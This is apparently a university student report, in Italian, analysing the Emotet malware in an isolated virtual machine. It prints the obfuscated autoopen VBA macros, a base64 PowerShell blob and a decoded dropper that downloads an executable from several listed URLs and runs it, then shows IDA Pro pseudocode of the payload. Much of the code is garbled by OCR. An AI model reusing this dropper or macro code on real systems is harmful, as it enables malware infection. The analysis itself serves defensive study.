# Università degli Studi di Camerino

## Corso di Informatica L-31

Anno accademico 2019/2020



Project

# Malware Analysis di Emotet



Relatore: Prof. Fausto Marcantoni

Studenti: Federico Casenove Dario Polverini Simone Squadroni

# Indice

1 Introduzione	1
1.1 Botnet	1
1.2 Emotet	1
2 Analisi	1
2.1 Configurazione iniziale e strumenti utilizzati	1
2.2 Analisi Emotet.doc	2
2.3 Analisi dell'eseguibile ww.exe con IDA Pro	9
2.4 Analisi del traffico della rete con Wireshark	24
3 Conclusione	27
4 Referenze	27

## 1 Introduzione

## 1.1 Botnet

Una botnet è una rete controllata da un botmaster e composta da dispositivi infettati da un malware specializzato, detti bot o zombie. I dispositivi connessi ad Internet al cui interno sussistono vulnerabilità nella loro infrastruttura di sicurezza informatica possono talvolta diventare parte della botnet, e, se l'agente infettante è un trojan, il botmaster può controllare il sistema tramite accesso remoto. I computer così infettati, possono scagliare attacchi, denominati, Distribuited Denial of Service (DDoS) contro altri sistemi e/o compiere altre operazioni illecite, in alcuni casi persino su commissione di organizzazioni criminali.

## 1.2 Emotet

Emotet è una botnet che induce un trojan molto sofisticato, che ha la funzione di downloader o dropper per altri malware. Emotet inizialmente si espande attraverso allegati di posta elettronica dannosi e tenta di proliferare all'interno di una rete forzando le credenziali degli utenti e scrivendo su unità condivise.

In caso di successo, un utente malintenzionato potrebbe utilizzare Emotet per ottenere informazioni sensibili. Un tale attacco potrebbe comportare la fuga di informazioni proprietarie e perdite finanziarie, nonché interruzioni delle operazioni e danni alla reputazione.

## 2 Analisi

## 2.1 Configurazione iniziale e strumenti utilizzati

Abbiamo scaricato il software VirtualBox e abbiamo creato una Virtual Machine con Windows 10. All'interno della macchina virtuale abbiamo installato una distribuzione personalizzabile basata su Windows chiamata <u>FLARE</u> che ci mette a disposizione diversi tools per svolgere Malware Analysis, penetration testing, ecc.

Dopo aver configurato la macchina virtuale, tramite la piattaforma any.run abbiamo scaricato il file .doc del Malware Emotet ed i payloads da esso generati. Una volta scaricata tutta la documentazione necessaria per effettuare l'analisi é stata isolata completamente la macchina virtuale dalla macchina host.

### 2.2 Analisi Emotet.doc

Prima di iniziare l'analisi del Malware é stata creata un'istantanea dello stato attuale della macchina virtuale al fine di poter tornare in quello stato per qualsiasi necessità.

Per iniziare il nostro studio abbiamo disabilitato le Macro di Microsoft Word per evitare di infettare la macchina nel caso in cui fossero presenti Macro malevole.

Una volta aperto il documento sorgente .doc del Malware, abbiamo controllato se erano presenti delle Macro e ne abbiamo individuate due:

1.	Function K_QDQDD(CQCAA_)	47.	Select Case XGG4GD
2.	Select Case GAA4xoA	48.	Case 703799256
з.	Case 562220402	49.	Minute CInt(81578945 _
4.	Minute CInt(172368050 _	50.	- Tan(U1UAAAQ * Cos(CBAX4Bx) + _
5.	- Tan(iDxQk_AA * Cos(vUADA_) + _	51.	909336882 + 617387229))
б.	612781366 + 928404273))	52.	End Select
7.	End Select	53.	Select Case A AACA
8.	Select Case nAxwCA1	54.	Case 900650784
9.	Case 722578661	55.	Minute CInt(241955921
10.	Minute CInt(217345090 _	56	- Tan(fo1AA DA * Cos(1000Ac) +
11.	- Tan(sAGDBUAA * Cos(IAAAAUA) + _	57	573758774 + 653526745))
12.	609068523 + 878158039))	20	End Soloct
13.	End Select	28.	End Select
14.	Select Case F_AADAQ	59.	Call KWQQAX
15.	Case 504802116	60.	Select Case b4kZ4wD_
16.	Minute CInt(269409384 _	61.	Case 705372864
17.	- Tan(VGABZAQU * Cos(joU1BBk) + _	62.	Minute CInt(57839682 _
18.	285758612 + 495812894))	63,	- Tan(DU_XAA * Cos(aAAGcGZD) + _
19.	End Select	64.	830160224 + 203800841))
20.	Set K_QDQDD = CVar(CQCAA_)	65.	End Select
21.	Select Case joXGAQ	66.	Select Case qDAAA14
22.	Case 642372825	67.	Case 395176598
23.	Minute CInt(857527804 _	68.	Minute CInt(931474604 _
24.	- Tan(cADGAA * Cos(UCXcAAAA) + _	69.	- Tan(m_cQUA * Cos(iABBBG) + _
25.	265654494 + 540685068))	70.	272367672 + 425762302))
26.	End Select	71.	End Select
27,	Select Case SC4AAow	72.	Select Case 1UA1A1A
28.	Case 20847050	73.	Case 73545898
29.	Minute CInt(986330889 _	74	Minute CInt(A35462980
30.	- Tan(Rw4UAA * Cos(nCAGUQ) + _	75	
31.	269843009 + 574981606))	1.2.	- Tall(CAMERADO COS(GAMANAM) + _
32,	End Select	/6.	852514810 + 45848080))
33.	Select Case sUBAAAB4	11.	End Select
-34.	Case 455227288	78.	End Sub
35.	Minute CInt(253047170 _		
36.	- Tan(VA_UAB * Cos(ZACWQWUA) + _		
37.	933289543 + 74988986))		
28.	End Select		
- 39%	End Function		
40.	Sub autoopen()		
41.	Select Lase KAAXAZ		
42.	Lase 04249/119		
-43.	Tan/JCutAtes & Car/bauk/Dt-		
44.	- Tan(JUXAA44CC ~ COS(TAXKUDAE) + _		
45.	$009103232 \pm 00393749211$		

46. End Select

#### Macro 1

```
1. Function KwQQAX()
 2. On Error Resume Next
3. Select Case FDcABxUC
4. Case 626636184
5. Minute CInt(531242096 _
6. - Tan(qoAAA1xA * Cos(cAUADkA) + _
7. 616431418 + 553143818))
8. End Select
9. Select Case DGwAkxA
10. Case 779757640
11. Minute CInt(689477681 _
12. - Tan(qDAAAo_ * Cos(KUAG_B1A) + _
13. 853526271 + 339676429))
14. End Select
15.
     Select Case bAUBDBG
16. Case 533436387
17. Minute CInt(957147201
18. - Tan(rAGoUwQA * Cos(qAQ8XG) + _
19. 538258994 + 562243367))
20. End Select
21. Set VcAAXDD = K_QDQDD(GetObject("w" + "inmgmts:w" + "in32_Process" + "Sta" + "rtup"))
22. Select Case KDXAXDC
23. Case 201267541
24. Minute CInt(345682419
25. - Tan(LU_AQ1 * Cos(dCXAxoA) + _
26. 792458517 + 442369741))
27. End Select
28.
    Select Case QAAAwA4
29. Case 683066449
30. Minute CInt(563040337
31. - Tan(oAAADDAQ * Cos(aAAU1UxB) + _
32. 656105962 + 858600647))
33. End Select
34. EwU AA = vbError - vbError
35. Select Case l1wAoDD
36. Case 780749121
37. Minute CInt(382246454 _
38. - Tan(HoACUA * Cos(YBAABABw) + _
39. 263297230 + 64874686))
40. End Select
41.
      Select Case KCAwCAAx
42. Case 678107768
43. Minute CInt(396623115 _
44. - Tan(oBAAUAkA * Cos(dZwQADwB) + _
45. 910934091 + 957431707))
```

```
46. End Select
```

```
47. Select Case NQAUBU
```

- 48. Case 939437584
- 49. Minute CInt(530405962 \_
- 50. Tan(oQQGX4CG \* Cos(jAcloXBG) + \_
- 51. 952411414 + 461352274))
- 52. End Select
- 53. IAUCCC\_C = ZA\_GCBBC.OUAAGA.ControlSource + ZCA\_UIA.CAXGUk + ZA\_GCBBC.OUAAGA + ZCA\_UIA.HGAkGX + ZA\_GCBBC.OUAAGA.ControlSource + ZCA\_UIA.PACBAG + ZA\_GCBBC.OUAAGA.ControlSource + ZCA\_UIA.MAQwAU + ZA\_GCBBC.OUAAGA + ZCA\_UIA.KOAGAQU + ZA\_GCBBC.OUAAGA.ControlSource
- 54. Select Case zDAXcUQ
- 55. Case 525547524
- 56. Minute CInt(630570189 \_
- 57. Tan(FGBUQZZB \* Cos(dABDCA) + \_
- 58. 759232484 + 260229354))
- 59. End Select
- 60. Select Case nDoZCC
- 61. Case 120575209
- 62. Minute CInt(665626874 \_
- 63. Tan(QoDxcAx \* Cos(pXDGUG) + \_
- 64. 407952378 + 363925637))
- 65. End Select
- 66. Select Case zUUBA\_
- 67. Case 121800024
- 68. Minute CInt(168327596 \_
- 69. Tan(iQQGZQUc \* Cos(bDwkAo) + \_
- 70. 137065461 + 860912240))
- 71. End Select
- 72. VcAAXDD. \_
- 73. ShowWindow = EwU\_AA + EwU\_AA + EwU\_AA
- 74. Select Case MAkZwU
- 75. Case 380049045
- 76. Minute CInt(610625887 \_
- 77. Tan(GAAQkGA \* Cos(EoAcQAA) + \_
- 78. 740171091 + 725900438))
- 79. End Select
- 80. Select Case PQBGAC
- 81. Case 806207263
- 82. Minute CInt(706922374 \_
- 83. Tan(pAUBAAQ4 \* Cos(uQAGoA) + \_
- 84. 364827477 + 733999203))
- 85. End Select
- 86. Select Case JAcAQAA
- 87. Case 74819874
- 88. Minute CInt(598877531 \_
- 89. Tan(hcQAwQAw \* Cos(JZUQXwBA) + \_
- 90. 628639663 + 60059798))
- 91. End Select

```
92. Select Case nQGBB4c
  93. Case 963972515
  94. Minute CInt(496923939 _
  95. - Tan(UUAADDD * Cos(uADCAA) + _
  96. 312684036 + 159138785))
  97. End Select
         Select Case iUBOQU
  98.
  99. Case 37186357
  100. Minute CInt(194853289 _
  101. - Tan(B_CX_BB * Cos(MAkXADQw) + _
  102. 60921798 + 737821221))
  103. End Select
  104. Select Case BQXAwAo
  105. Case 314554477
  106. Minute CInt(13947906 _
  107. - Tan(hQxAoD_ * Cos(awxQAQ) + _
  108. 339318911 + 344412805))
  109. End Select
  110. Set BkwABAAD = K_QDQDD(GetObject("w" + "inmgmts:W" + "in32_Process"))
  111.
        Select Case KOU1BC
  112. Case 382017609
  113. Minute CInt(467039761 _
  114. - Tan(wA_AA1_x * Cos(TAAAUAUD) + _
  115. 497401388 + 598366382))
  116. End Select
  117. Select Case AACcXA
  118. Case 742209975
  119. Minute CInt(262265927 _
  120. - Tan(AZoZBD4 * Cos(BAXAAA) + _
  121. 151750259 + 403508955))
  122. End Select
  123. BkwABAAD.Create TZ1kZAGA + IAUCCc_C + YUCAUA, hQDBAcA, VcAAXDD, cQQAU4x
  124.
         Select Case vCCO4Bx
  125. Case 861411947
  126. Minute CInt(985116547 _
  127. - Tan(IAZDQQwA * Cos(hBB4GUAQ) + _
 128. 319336316 + 797347929))
 129. End Select
  130. Select Case hAZGkAAQ
  131. Case 518723140
  132. Minute CInt(613416016 _
  133. - Tan(I4UBxDQ * Cos(kAUAAG) + _
  134. 329499248 + 606275965))
  135. End Select
 136. End Function
```

```
Macro 2
```

Analizzando le Macro abbiamo trovato del codice superfluo. Successivamente abbiamo isolato il codice utile al nostro studio e ricavato due macro sospette:

Function K\_QDQDD(CQCAA\_)
 Set K\_QDQDD = CVar(CQCAA\_)
 End Function
 Sub autoopen()
 Call KwQQAX
 End Sub

#### Macro 1

1.	Function KwQQAX()
.2.	On Error Resume Next
з.	Set VcAAXDD = K_QDQDD(GetObject(winngmts:Win32_ProcessStartup))
-4.	EwU_AA = vbError - vbError
5.	IAUCCC_C = ZA_GCBBC.OUAAGA.ControlSource + ZCA_UIA.CAXGUk + ZA_GCBBC.OUAAGA + ZCA_UIA.HGAkGX + ZA_GCBBC.OUAAGA +
	zA_GCBBC.oUAAGA.ControlTipText + zCA_U1A.pAcBAG + zA_GCBBC.oUAAGA.PasswordChar + zA_GCBBC.oUAAGA.ControlSource + zCA_U1A.MAQwAU +
	zA_GcBBC.oUAAGA + zCA_UIA.KoAGAQU + zA_GcBBC.oUAAGA.ControlSource
6.	VcAAXDD.ShowWindow = EwU_AA + EwU_AA + EwU_AA
7.	<pre>Set BkwABAAD = K_QDQDD(GetObject(winmgmts:Win32_Process))</pre>
8.	BkwABAAD.Create TZ1kZAGA + IAUCCC_C + YUCAUA, hQDBACA, VCAAXDD, cQQAU4x
9.	End Function

#### Macro 2

L'analisi ci ha consentito di individuare all'interno della sezione form due variabili sospette (zA\_GcBBC, oUAAGA) che richiamavano dei metodi impossibili da analizzare data l'assenza di codice al loro interno.

Ci siamo serviti del software Olevba, utile per l'estrazione e la traduzione di codice Macro VBA, per approfondire l'analisi del documento sorgente .doc del Malware.

Il codice estratto è stato salvato in un file di testo dal quale abbiamo notato uno script in Powershell codificato in base64.

1. 2. VBA FORM Variable "b'KoAGAQU'" IN '40606534706\_May\_01\_2019.doc' - OLE stream: 'Macros/zCA\_U1A' 3. 4. b' JABHAHgAUOBHAETAOw8BAF8APOAoACgAJwBLAEMAJwArACcARAAnACkAKwAnAEOANAAnACsAJwAxACcAKOA7ACOAYwBrAEEANAAxAFEAUOBYACAAPOAgACgAJwA4ACcAKw 5. ANADEAMwANACKAQWAKAEBAUQBNAEEARABVAFUAWgA9ACgAKAANAHEAJWANACCAQQB4ACCAKQANACCARAANACSAKAAIAHSAMQB9AHSAMAB9ACTALQBMACCANABJACCALAANAHCAQ 6. gANACKAKQA7ACQA3ABRAFEAQQBCAGBAMQBBADBAJAB1AG4AdgAGAHUAcwB1AHTACAByAGBAZgBpAGwAZQArACCAXAAnACsAJAB jAGsAQQA9ADEAUQBRAFgAKwAoACCALgANACSA KAANAGUAeAANACSAJwB1ACCAKQApADSAJAB1AEEAQQA0AEEAUQA0AD0AKAAOACTAewAxAH0AewAwAH0AIgAgAC0AZgAgACCAeAANACwAKAANAEEAJwArACCAAEABVACCAKQApACS AJWBYACCAKWANAEEAJWApADsAJABDAEEAYWBEAEEAQQA9AC4AKAAnAG4AZQB3ACcAKWANAC6AJWArACcAbwB1AGoAJWArACcAZQBJAHQAJWApACAAbgBgAGUAVAAuAFcAZQBCAE 8. MAYABSAGAASQBFAE4AdAA7ACQAWQBCAEEAQQBVAF8ARAA9ACgAKAA1AHSAMAB9AHSAMQB9ACTATAAtAGYAKAAnAGgAdAAnACsAJwB0ACcAKQASACgAJwBwACcAKwAnADoALwAnA CkAKQArACgAIgB7ADAAfQB7ADEAfQB7ADIAfQAIAC0AZgAnAC8AdwAnACwAJwBIACcALAA0ACcAYgAnACsAJwBhAHAAaAAnACkAKQArACcAbwAnACsAJwBIAGkAJwArACcAYQAn 10. ACSAKAAIAHSAMgB9AHSAMQB9AHSAMAB9ACTALQBmACAAKAANAGKAJWAAACCADQBhACCAKQASACCADQAVACCALAAOACCALgAnACSAJWB JAGBAJWApACKAKWAOACTAewAZAH8AewA wAH0AewAyAH0AewAxAH0ATgATAGYAJwB1AHMAJwAsACgAJwAvACcAKwAnAEAAaAB0AHQAcAAnACKALAAoACcALwA3ACcAKwAnADIAQwAnACKALAAnAGcAJwAsACcAYQ AnACKAKwAnAHMAOgAnACsAJwAxACSAJwAxACgAIgB7ADEA+QB7ADIA+QB7ADAA+QAIAC8AZgAoACcAdABhACcAKwAnAGwAJwAxACcAZQBnAHIAZQBuACcAKQAsACcAbQBvACcAL AANAG4AJwApACsAJwBzACcAKwAoACcAZQAuACcAKwAnAGcAJwApACsAKAAIAHsAMAB9AHsAMQB9ACIALQBmACgAJwByAGEAJwArACcAZgAnACkALAAnAGkAJwApACsAKAAIAHsA 14. MAB9AHsAMQB9ACTAIAAtAGYAKAAnAGMAbwBzACcAKwAnAGEAJwApACwAJwBzACcAKQArACgAIgB7ADAAfQB7ADEAfQAIACGALQBmACgAJwBzACcAKwAnAG8AYwAnACkALAAnAGk AJWAPACSAKAAIAHSAMQB9AHSAMBB9AHSAMAB9ACIALQBnACAAJWBLACBAJWASACCAYQAnACwAKAAnAGQAbwBZAC4AJWArACcAYWBYACcAKQApACSAJWBrACcAKWADACIAewAyAH 8AewAwAH8AEgAgAC8AZgAgAC8AZgAgACgAJwB3ACcAKwAnAG8AcgBkAHMAJwArACcALwAnACkALAAnAACcARgAnACsAJwBPAFkAbwAnACkALAAnAGUAeQAnACkAKwAoACTAewAxA H8AewAwAH8AewAzAH8AewAyAH8ATgAgAC8AZgAgACCAQAAnACwAJwAvACcALAAOACCAdAB8AHAAJwArACcADgAvAC8AcAAnACsAJwB1AHIAJwApACwAJwBoACcAXQArACCAaQAn 18. 19. ACSAJWBTAGEAJWArACCACgAnACSAJWBVACCAKWAOACIAewAxAH8AewAwAH8AIgATAGYAJWBTACCALABOACCALgBJACCAKWAnAG8AJWAPACKAKWAOACIAewAwAH8AEwAxAH8AIgA tAGYAKAANACBAMQANACsAJwAvACcAKQAsACcAdwB3ACcAKQArACgAJwAvACcAKwAnAEAAaAAnACkAKwAdACcAdABBACcAKwAnAHAAJwApACsAKAAlAHsAMAB9AHsAMQB9ACIAIA 20. AtAGYAKAANADDALwAnACsAJwAYAGDAJwApACwAJwBwAG0AJwApACsAKAAnAHQAZQANACsAJwBjACcAKQArACcAAAAnACsAXAAIAHsAMQB9AHsAMQB9AHsAMgB9ACIALQBmACgAJ wAvAGMAcwAnACsAJwBzACcAKQAsACgAJwAuAGMAbwAnACsAJwBtACcAKQAsACgAJwAvACcAKwAnAEcATwBPACcAKQApACsAJwB2ACcAKwAoACcAcQBkACcAKwAnAEBAJwApACsA JWBAACCAKWANAGgAJWARACgAIgB7ADAA†QB7ADEA†QAIACAALQBmACAAJWB8ACCALAAOACCAUABWACCAKWANADOAJWApACkAKWANACBAJWARACCALWAXACCAKWAOACIAewAXAH8 AewawaH0ATgAgAC0AZgAgACcALgAnACwAKAAnADEAOAAuACcAKwAnADgAOQAnACkAKQArACgATgB7ADIAfQ07ADAAfQ07ADAAfQ07ADCA4QAIAC0AZgAgACcANQAnACwAKAAnAC4AMQA2AC 24. cAXwanADYALwanACKALAAnADIAMQAnACKAKwaaaCIAewAyAH8AewawAH8AewaxAH8AIgAtAGYAJwBwAC8AJwAsACgAJwBpAG4AJwArACcAYwAnACKALAAnAHcAJwApACsAKAAnA 26. GWAJWARACCAUQBKACCAKQARACGAIGB7ADEAFQB7ADAAFQAIACAALQBmACAAKAAnAHMAJWARACCALWBSADUALWANACKALAAnAGUAJWApACKALgBTAHAAbABJAHQAKAANAEAAJWAp 27. ADSAJABVAEEAQQBYAF8AQQBCAEIAPQAoACcAZgAnACSAJMBVAHCAJWArACgAJWB JADEAJWArACCAVQAnACKAKQA7AGYAbwByAGUAYQB JAGgAKAAkAGkAQQB3AEQAbWB3AEEAIAB pAG4AIAAKAF kAQgBBAEEAVQB fAEQAKQB 7AHQAcgB 5AH sAJABDAEEAYWBEAEEAQQAUAEQAT MB 3AE4AbA8P AGEAZABGAG kAbABF ACgAJAB pAEEAdwB EAG8AdwB BACwAIAAkaGgAUQ 28. BRAEEAQgBvADEAQQApADsAJABhAEMAUQB4ADQAQQA9ACgAKAA1AHsAMAB9AHsAMQB9ACTATAAtAGYAJwBxAGBAJwAsACgAJwBrACcAKwAnAEEAQgAnaCkAKQArACcAQwB3ACcAK 38. QA7AEKAZgAgACgAKAAmaCgAJwBHAGUAdAAnACsAJwAtAEKAJwArACcAdABIAG0AJwApACAAJABoAFEAUQBBAEIAbwaxAEEAKQAuAGwARQBOAGcAVABoACAALQBnAGUAIAazADcA 31. MgAZADgAKQAgAHSALgAoACcASQBuAHYAJwArACcAbwAnACsAJwBrACcAKwAnAGUALQBJAHQAZQBtACcAKQAgACQAgABRAFEAQQBCAG8AMQBBADsAJABzAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAE APQA0ACgAIgB7ADEATQB7ADAATQAIACBAZgAgACgAJwBBACcAKwAnAHgAQQAnACkALAAnAHUAeAAnACkAKwAnAEQAJwApADsAYgByAGUAYQBrADsAJABZAFUAUQBBAEEAQQA9AC gAKAAnAGBAJwArACcAUQBBACcAKQArACgAIgB7ADEA+QB7ADAA+QAIACAALQBmACAAKAAnAEEARAAnACsAJwBRACcAKQAsACcARwAnACKAKwAnAEEAJwApAHBA+QB1AGEAdAB1A 34- GGAEWB9AH0AJABpAEQAVQBBAHcAEAA9ACGAKAA1AHsAMAB9AHsAM0B9ACIALQBnACAAKAAnAGEAUQAnACsAJWBBACcAKQAsACcAawAnACKAKwAnAFoAQQAnACKA 36. VBA FORM Variable "b'CAXGUk'" IN '40606534706\_May\_01\_2019.doc' - OLE stream: 'Macros/zCA\_U1A' 38. b'powE' 39. 48. VBA FORM Variable "b'HGAKGX'" IN '40606534706\_May\_01\_2019.doc' - OLE stream: 'Macros/zCA\_U1A' 42. b'rSHell 43. 44. VBA FORM Variable "b'pAcBAG'" IN '40606534706 May 01 2019.doc' - OLE stream: 'Macros/zCA UIA' 46. b' -' 47. 48. VBA FORM Variable "b'MAQwAU'" IN '40606534706 May 01 2019.doc' - OLE stream: 'Macros/zCA UIA' 50. b'e

Parte del file di testo estratto con Olevba

Successivamente abbiamo decodificato lo script ottenendo un codice occultato che poi abbiamo riscritto in chiaro.

```
1. $ GxQGBCA _ = (( 'KC' + 'D') + 'D4' + '1');
```

```
2. $ ckA41QQX = ('8' + '13');
```

```
3. $ OQkADUUZ = (( 'q' + 'Ax') + 'D' + ( "{1} {0}" - f'4c', 'wb'));
```

```
4. $ HQQABo1A = $ ENV: userprofile + '\' + $ ckA41QQX + ( ' ' + (' ex '+' e'));
```

```
5. $ uAA4AQ4 = (("" 1} {0} "-f 'x', ('A' + 'xU')) + 'X' + 'A');
```

```
6. $ CAcDAA =. ('New' + '-' + 'obj' + 'ect') n'eT.WeBC'l'IENt;
```

```
7. $ YBAAU_D = ((("{0} {1} "-f ('ht' + 't'), ('p' + ': /')) + ("{0} {1} {2}" - f '/w', 'e', ('b' + 'aph')) + 'o' + 'bi' + 'a' + ("{2} {1} {0}"
       - f ('1 '+' ma '),' m /',('.'+ 'co')) + ( "{3} {0} {2} {4} {1}" - f"es', ( '/ '+' @ http '), (' / 7 '+' 2C '),' g', 'a') + 's:' + '//' + ( "
      {1} {2} {0} - f ('ta' + 'l' + 'egren'), 'mo', 'n') + '' s + ('e.' + 'g') + ( "{0} {1}" - f ('ra' + 'f'), 'i') + ("{0} {1}" - f ('cos' +
       'a'), 's') + ("{0} {1} "-f ('s' + 'oc'), 'i') + (" {1} {2} {0} "- f 'm /', 'a', ('dos_' + 'co')) + 'k'+ ("{2} {0} {1}" -f ('w' + 'ords' +
       '/'), ('F' + 'OYO'), 'ey') + ("{1} { 0} {3} {2} "-f '0', '/', ('ttp' + ': // p' + 'ur'), 'h') + 'i' + 'ma' + ' r '+' o '+ ( "{1} {0}" - f'n',
       (+ `o `)' c.`) + ("\{\theta\} \{1\}" - f ('/ 1' + '/'), `ww') + ('/' + '@ h') + ('tt' + 'p') + ("\{\theta\} \{1\}" - f (': /' + '/ j '), `pn ') + (' te '+' c ('tt' + 'p')) + ("\{\theta\} \{1\}" - f (': /' + '/ j '), `pn ') + (' te '+' c ('tt' + 'p')) + ('' te '+' c ('tt' + 'p')) + ('' tt' + 'p')) + ('' tt' + 'p') + ('' tt' + 'p') + ('' tt' + 'p')) + ('' tt' + 'p') + ('' tt' + 'p') + ('' tt' + 'p') + ('' tt' + 'p')) + ('' tt' + 'p') + ('' tt' + 'p') + ('' tt' + 'p') + ('' tt' + 'p')) + ('' tt' + 'p') + ('' tt' + 'p') + ('' tt' + 'p') + ('' tt' + 'p')) + ('' tt' + 'p') + ('' tt' + 'p') + ('' tt' + 'p') + ('' tt' + 'p')) + ('' tt' + 'p') + ('' tt' + 'p') + ('' tt' + 'p') + ('' tt' + 'p')) + ('' tt' + 'p') + ('' tt' + 'p') + ('' tt' + 'p') + ('' tt' + 'p')) + ('' tt' + 'p') + ('' tt' + 'p')) + ('' tt' + 'p') + ('' tt' + 'p') + ('' tt' + 'p') + ('' tt' + 'p')) + ('' tt' + 'p') + ('' tt' + 'p') + ('' tt' + 'p')) + ('' tt' + 'p') + ('' tt' + 'p') + ('' tt' + 'p')) + ('' tt' + 'p') + ('' tt' + 'p') + ('' tt' + 'p')) + ('' tt' + 'p') + ('' tt' + 'p') + ('' tt' + 'p')) + ('' tt' + 'p') + ('' tt' + 'p')) + ('' tt' + 'p') + ('' tt' + 'p') + ('' tt' + 'p') + ('' tt' + 'p')) + ('' tt' + 'p') + ('' tt' + 'p') + ('' tt' + 'p') + ('' tt' + 'p')) + ('' tt' + 'p') + ('' tt' + 'p') + ('' tt' + 'p')) + ('' tt' + 'p') + ('' tt' + 'p') + ('' tt' + 'p') + ('' tt' + 'p')) + ('' tt' + 'p') + ('' tt' + 'p') + ('' tt' + 'p')) + ('' tt' + 'p') + ('' tt' + 'p') + ('' tt' + 'p')) + ('' tt' + 'p') + ('' tt' + 'p')) + ('' tt' + 'p') + ('' tt' + 'p') + ('' tt' + 'p')) + ('' tt' + 'p') + ('' tt' + 'p') + ('' tt' + 'p')) + ('' tt' + 'p') + ('' tt' + 'p') + ('' tt' + 'p') + ('' tt' + 'p')) + ('' tt' + 'p') + ('' tt' + 'p') + ('' tt' + 'p')) + ('' tt' + 'p') + ('' tt' + 'p') + ('' tt' + 'p')) + ('' tt' + 'p') + ('' tt' + 'p') + ('' tt' + 'p')) + ('' tt' + 'p')) + ('' tt' + 'p') + ('' tt' +
       ') +' h '+ ( "{1} {0} {2}" - f (' / cs '+' s'), ( '.co '+' m '), ('/ '+' 600 ')) +' v '+ (' qd '+'/ ') +' @ '+' h '+ ( "{0} {1} "-f 't',
       - ', (' in '+' c '),' w ') + (' 1 '+' ud ') + (" {1} {0} "-f (' s '+' / L5 / '),' e ')), Split (.' @ ');
```

```
8. $ UAAX_ABB = ( 'f' + 'ow' + ( 'c1' + 'U'));
```

```
9. foreach ($ iAwDowA in $ YBAAU D) {
```

```
10.
      provare {
```

```
$ CAcDAA.DOwNlOadFile ($ iAwDowA, $ hQQABolA);
```

```
$ aCQx4A = ((("{0} {1}" -f'qo ', (' k '+' AB ')) +' Cw ');
```

```
If ((& ('Get' + '- I' + 'ten') $ hQQABo1A) .1ENgTh -ge 37238) {
```

```
14.
           . ('Inv' + 'o' + 'k' + 'e-Item') $ hQQABo1A;
```

```
$ SAAAAAQ4 = (("{1} {0}" - f ('A' + 'xA'), 'ux') + 'D');
```

```
rompere;
16.
```

\$ YUQAAA = (('' m '+' QA ') + ("{1} {0}" -f (' AD '+' Q '),' G ') +' A ') 17. 3

```
18.
```

```
19.
         3
```

```
20.
        catturare {}
```

```
3
22. $ iDUAwx = (("" 0 0 {1} "- f ('aQ' + 'A'), 'k') + 'ZA')
```

#### Script decodificato

```
    $GxQGBCA_=((KCDD41);

   2. $ckA41QQX = (813);
```

- \$0QkADUUZ=(qAxDwB4c);
- \$hQQABo1A=\$env:userprofile\\$ckA41QQX.exe;
- 5. \$uAA4AQ4=((AxUxXA);
- \$CACDAA=.(new-object) neT.WeBClIENt;
- 7. \$YBA A\_D=((http://webaphobia.com/images/72Ca/@
- 8. https://montalegrense.graficosassociados.com/keywords/FOyo/
- 9. @httpp://purimaro.com/1/ww/@http://ipmtech.com/css/GOOvod/
- 10. @http://118.89.215.166/wp-includes/15/.SplIt('@'):
- 11. \$UAAX ABB=(fowc1U):

```
12. foreach($iAwDowA in $YBAAU_D) {
```

```
13.
        try {
```

```
14.
      $CAcDAA.DOwNlOadFilE($iAwDowA, $hQQABo1A);
```

```
15.
      $aC0x4A=(dokABCw);
```

```
If ((&(Get-Item) $hQQABo1A).1ENgTh -ge 37238) {
16.
```

```
17.
          .(Invoke-Item) $hQQABo1A;
```

```
18.
         $sAAAAAQ4=(uxAxAD);
```

```
19.
        break:
```

```
$YUOAAA=(mOAGADOA)
28.
```

```
3
```

```
}
```

```
catch {}
```

```
24.
               }
25. $iDUAwx=(aQAkZA)
```

Script decifrato

Analizzando lo script ci è stato possibile capire che venivano effettuate delle richieste a diversi domini e che il primo disponibile avrebbe effettuato il download del payload.

Questo procedimento può essere svolto in alternativa tramite il software Procmon, che consente di monitorare i vari processi durante l'esecuzione dei programmi. In particolare questo software ci consente di filtrare i vari processi in modo da poter visualizzare quelli di nostro interesse, in questo caso da Word e da Powershell. Identificando il primo processo eseguito da Powershell è possibile estrapolare lo script lanciato dal Malware, codificato in base64. Sconsigliamo l'utilizzo di questo metodo poiché é necessario infettare la macchina al fine di visualizzare il processo che lancia lo script.

### 2.3 Analisi dell'eseguibile ww.exe con IDA Pro

Inizialmente abbiamo utilizzato il software Pestudio con il quale siamo riusciti ad estrapolare delle informazioni importanti come il formato del file (32-bit) ed il linguaggio con cui è scritto (Microsoft Visual C++). Inoltre questo software ci consente di visualizzare tutte le stringhe contenute all'interno del file.



Abbiamo continuato l'analisi del payload attraverso l'utilizzo del decompilatore IDA Pro.

Questo strumento ci ha consentito di analizzare sia il codice assembly del programma che lo pseudocodice. Inizialmente abbiamo svolto un'analisi generale al fine di avere un'idea riguardo al flusso del programma.

Una volta individuato la funzione principale(main), abbiamo iniziato un'analisi dettagliata delle funzioni da essa richiamate fino ad arrivare alla funzione, da noi rinominata, start\_malware.

```
int cdecl start malware(int a1)
  int savedregs; // [esp+14h] [ebp+0h]
  sub_401<mark>670</mark>();
                                                     // -->analizzata (inizializza la variabile a 34444443)
  savedRegs = a1;
  savedRegsPointer = (int)&savedregs;
RegOpenKeyA_fun = *(int (__cdecl **)(_DWORD, _DWORD, _DWORD, _DWORD))RegOpenKeyA;// apre la chiave di registro specificata
  getRegKey();
                                                      // -->analizzata
  gettegrey();
RegQueryValueExA_fun = *(int (__cdecl **)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))RegQueryValueExA;// legge un valor
unkownData_Pointer = getRegValueContent(); // -->analizzata
  sub 401440();
                                                      // -->analizzata, alloca nuove celle di memoria con VirualAllocEx
  index1 = 0;
  index2 = 0;
  index3 = 1;
  while (1)
    minValue = getMinValue(var_7Bh, unkownData_Pointer_less4byte_2);// 7Bh = 123
    if ( index1 >= (unsigned int)unkownData_Pointer_less4byte_1 )
      break:
    sub 401600();
                                                     // --> analizzata, dovrebbe allocare in memoria
    dword_418FE0 = minValue;
    index2 += index3 + var_7Bh + 21;
    index2 -= 21;
                                                     // la variabile ha lo stesso valore di var_78h
    index1 += var 7Bh;
    unkownData_Pointer_less4byte_2 -= minValue;
  decrypt3();
                                                     // -->analizzata
  return sub_401260();
```

Da una prima analisi di questa funzione è stato possibile vedere che venivano salvati due comandi RegOpenKey e RegQueryValueEx all'interno di due variabili.

Il comando RegOpenKey serve per aprire la chiave di registro specificata.

Il comando RegQueryValueEx legge un valore dalla chiave di registro. Può leggere diversi tipi di dato: numeri, stringhe e qualsiasi altro tipo di dato di registro.

